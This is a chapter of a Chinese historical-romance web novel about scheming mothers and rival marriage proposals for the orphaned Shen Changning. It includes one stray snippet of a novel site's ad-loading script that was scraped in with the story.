她这儿子，不开窍则已，一开窍，倒是给她出了个难题。 小门小户的，她出面，尚好说。 偏选了个李家瞧上的—— “世子不松口，说定要娶她。” 周婉慢悠悠练着字，没说什么，而是先让人将自己的八宝灰胎落霞琴送去老师傅重上遍漆，前两日天寒，岳山处裂了几个口子。 字写得慢。 她在思考。 半晌，人终停笔，她将大字卷起，递给嬷嬷，问：“婚事不是还没定下吗？” 只是双方都有意向，想结两姓之好。 周婉说话总像是带着三分袅柔，活脱脱的大家闺秀，只说的话，并不含情：“那就拆了吧。” 她那儿子，心性肖似父亲，不达目的不罢休。 她到底是希望，他能早日娶亲的。 他的性子，需有人管着。 他既对沈家姑娘上了心，日后对方说什么，多少都会听两句，不像她这个做娘的，明明是母子，处的却像仇人。 她本以为是那两家孩子间有情意，今日一瞧，发现也不过是依着父母之命，连面都没见过。 最让她觉得有意思的是，李家共两位嫡子，昔日长子娶妻，李家夫人可是百般谋划，前前后后选了快一年方定下。 若是个不成器的庶子，随便娶就娶了，左右碍不到眼。 可如今议亲的，是那人最疼的小儿子。 周婉不理解。 前些日子，还没听说李家要给四子说亲，月旬不见，直接定了下来。 嬷嬷说许是为着尚书之位和人着力。 周婉笑嗔：“这等子话你也信？” 内阁之下，便是六部尚书，朝堂的二品大员。 皇帝一人可统管不了朝堂上下，他乾纲独断、宰制天下，靠的不都是各路文臣。 而能争尚书之位的，哪个是吃素的，不说家族，单说门生故吏，个中弯绕，就让人眼晕。 他们不单和外人斗，内里还争。中间的博弈与利益交换，说出来，不知道的还以为是胡诌。 娶个功臣遗孤，就能弥补得了与其他人间的差？ 周婉心觉，婚事就算真定了，能不能传到天子耳朵里都是两说。 对方哪抱着那般肯定的心思，直眉瞪眼地登门，定了亲事。 周婉让嬷嬷俯身，轻声耳语了几句。 这事，她怎么瞧，都像另有隐情。 周婉自小长在大家族里，心中自有杆秤，凡事掂量稍许，就有了数。 …… 没两日。 就有消息回来。 周婉一听李家四子有个相好，人就嗤笑了下。 她就说，李家夫人怎的那般好心，突想起了死了多年的同僚之女，原来打的这个主意。 拗不过儿子，干脆娶个门第低些，没那么门当户对的。 周婉不喜李家此种待人模样。 秦均行归来，她特让人邀其过来，和他说来这桩事。 周婉边观察他神色边叹：“李家是个狠心的。” 怕来个高门主母，身有依仗，磋磨他最爱的妾氏。 周婉似不经意地提：“听说四姑娘的舅舅，同在礼部做堂官。这要事真嫁过去了，可有的苦受。” 无需言语，凡在后宅生活的都懂。 婆母严苛，丈夫的心又不在自己这，自己还要因着家里的人和事，事事忍让迁就。 周婉正色：“沈家门楣不兴，四姑娘又丧父丧母，没个依仗，即便嫁过来，在朝堂上也提供不得丝毫助力，你当真要娶她？” 秦均行默了半晌。 他对沈长宁本只是兴趣，觉得她和旁人不相同，让他有探究的心思。 可单是这份心思，已然难得。 他从未在旁人身上有过此等感觉。 秦均行认为自己出问题了。 可他好像……并不想解决此问题，尤其是周婉和他讲了沈长宁当前处境时。 他母亲性子虽也严苛，但到底比李家夫人好上许多，且他已长大，非小时。 他尚护得住她。 秦均行唇瓣抿得平直，默然半晌。 单瞧着，定觉得是个冷漠到极致的。 但周婉知道。 他的心，如今是热的，她不急。 周婉不再言语，只等秦均行开口。 果不其然，下一刻，一道略带哑意的声音响起。 “……还望母亲多加费心。” 这么多年，他还是头次服软，而不是与自己针尖对麦芒。 周婉嗔：“什么费不费心的，母子之间哪能提这个。”她笑，“你是我儿子，为你费心，我最是甘愿。” 她此刻，是真的确定了，那孩子嫁进来，约莫是管的住秦均行的。 就算那姑娘性子软，她也可以慢慢教，让其婚后，一点点将秦均行给驯化了。 她此生最后悔的，就是成婚时，没想清楚，总想着夫妇一体，理应郎情妾意，再不济也要相敬如宾，没将人的心栓住，弄出个近乎比肩她的宠妾。 她不希望未来的儿媳重蹈她的覆辙，更不想，她儿子的后院像他父亲似的，成日不得安生。 周婉自认命好，托生在勋贵人家的肚子里，没让小妾欺了去，压在头上。 无论如何，她也是侯府的夫人，当前的，未来的，说一不二的大夫人。 未来的爵位，到底没落在那个小贱人的儿子头上。 - 正月将了。 沈家忙碌却不减。 沈庭文将考会试。 方慧紧张得最近连觉都睡不好，家里特供了三清画像，每日早晚一炷香，虔诚到了极致。 家里的仆妇和来往小厮，也不准说与“落”、“不好”等相关的字眼。 今天，方慧跪坐在蒲团上，认真观香，忽听伺候的刘妈妈着急忙慌地跑进来，人脚还没迈进来，声先来闯来了。 “夫人，大事不……不——” 刘妈妈忽卡壳。 不妙两字，不能说。 “夫人哪！出事了！！！” 刘妈妈换了个说辞，一路疾走进来，不等方慧开口，将身边伺候的通通轰了出去。 方慧看得呆住，好半晌才找到自己的声音，不由拔高声音，迟疑道：“刘妈妈！你是疯了吗？” 这是做什么？ 刘妈妈惊得不成样子，“出大事了！” 大事？ ……什么大事？ 方慧不解。 天下间还有比她的文哥儿会试更大的事？ 她不以为意，还用帕子掩唇笑：“瞧瞧，跟我这么多年，还一惊一乍的。” “李家出事了！”刘妈妈也是刚得消息，唬了一跳，忙来找方慧，一口气说出来，生怕晚了耽误事：“李家四郎，养了个外室，听说宠得不成样子，为了她，差点将李家闹翻天！现在外头都传，人家是让咱四姑娘嫁进去填窟窿呢！” 方慧大脑登时空白。 原本的稳重、妥帖、主母风范全散了。 “什么！！？” 李家疯了吗？？ 事情太过荒谬，方慧甚至第一时间不敢相信，而是再问了遍刘妈妈。 “千真万确！”刘妈妈点头语重心长：“京中如今都要传遍了。” 传遍了？ 方慧呆滞，后又回神，顾不得刚点上的香，提裙就向外走：“我看李家真是疯了！” 什么人哪！！！ 沈家是门楣不兴， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但也没到卖姑娘的地步。 沈长宁虽不是她肚子里头出来的，可这么多年，到底是有情分在的。 先不说这事传出去，沈家要怎么被人戳脊梁骨。 单李家的心思，就不得不让她羞恼。 她从没觉得自己的脑子有此刻这般灵光过，原本想不通的今日全想通了。 呸！！ 李家这群没心肝的狗东西。 本只想着是想要个好名声，没想到，内地里还有另重算计！！ 这婚事，绝对不行！ 打死也不能嫁！ 方慧越走越急，嘴里还念叨着：“最好再来个更佳的婚事，非气死那帮小兔崽子不可，沈家姑娘又不是嫁不出去了！你李家算什么，这么作践我们……” 本想扶着，却只扶到一阵风的刘妈妈：“……” 刘妈妈：“啊？” “夫人！您慢点啊——” - 李府。 李家夫人气得直抖，身子都开始颤。 “母亲……” “别碰我！” 李家夫人一把扒开身侧长媳伸来的手，人被沉沉怒意吞没。 明明瞒得好好的，到底是哪里透露出去的！还闹成今天这副局面。 消息传得未免也太快了些。 她纵想压，都未压得住。 不到半日，京中有头有脸的人家，竟都听闻一二。 长媳处在边上，活像个木头，也不知到底有何用。 李家夫人瞥向长媳，冷笑声，“遇见事罢了，慌什么，你是高门主母，不是小门小户的，成何体统！” 长媳愧然垂面。 不多时，李家夫人起身离去。 只她身后仆妇未走。 长媳默然，跪在上房院中。 她出身不薄，族里足出了三位翰林，从小规矩甚严，可婆母终究还是有诸多不满，立了许多条新规矩。纵是天上下刀子，也需寅时便去院里请安。 她想着丈夫会疼惜自己，可他只道，新妇侍奉婆母，乃天经地义的事。 长媳叹。 沈家姑娘，还是莫嫁进来的好。 酉正，李讯下值，听了消息，没说什么，头顶却落下了一滴冷汗。 他想起了，近来，他每每去乾清宫时，沈昼似笑非笑的眼神。 那是娴贵妃的人。 当今御马监的秉笔太监。 李讯但觉心口一凉，当机立断：“你快些去提亲，这婚事必须定下！” 现在只是市井间的玩笑，真被那群人拿到陛下面前，上了天家的秤。 说不准他真要被剐下一层皮。 娴贵妃与皇后，哪个是好惹的。 两方现在都对他虎视眈眈。 李家夫人一怔，显然也意识到事情的严重性，忙不迭去了。 周婉此时正在家中笑着吃茶。 她虽站在皇后一方，但并不耽误，她借借娴贵妃的刀。 如今聘礼已然好，只等着和李家同日登门。 依着秦均行的意思，备得厚厚的，不能让外人轻贱了沈长宁。 因着这桩婚事，周婉能觉出，秦均行待自己，不似先前的偏见深深。 次日，秦均行来请安。 周婉问起前几日已然问过的问题：“这次提亲，你可有把握？” 上次问。秦均行沉默的样，让她哑然。 秦均行这次倒是从容了许多，淡淡回：“她只能选我。” 像姑娘家选簪子一样，单看一个是瞧不出好的，需要众簪子放在一处，细细思量，方能觉出，哪个最适合自己。 单有李家四郎不够。 他想让段劭，也露个面。 那是尊杀神，又短命冷清，身子很差，有他衬托，自己的不完美，好像也没那么糟。 秦均行说罢。 她走后，周婉和嬷嬷说话，虚掩着胸口，闲来打趣地聊：“不知怎的，我这心，总是惴惴，像有什么事要发生似的。” “定是喜的。” 周婉弯弯嘴角，同这般觉得。 婚事将定。 她这个做母亲的，真是喜得不成样子。 她果真是多想。 段劭既在，以那人的声名，想必沈四姑娘，定会选他儿子。 她儿子果然命好，竟找到个如此完美的绿叶。 真是让人爱极了。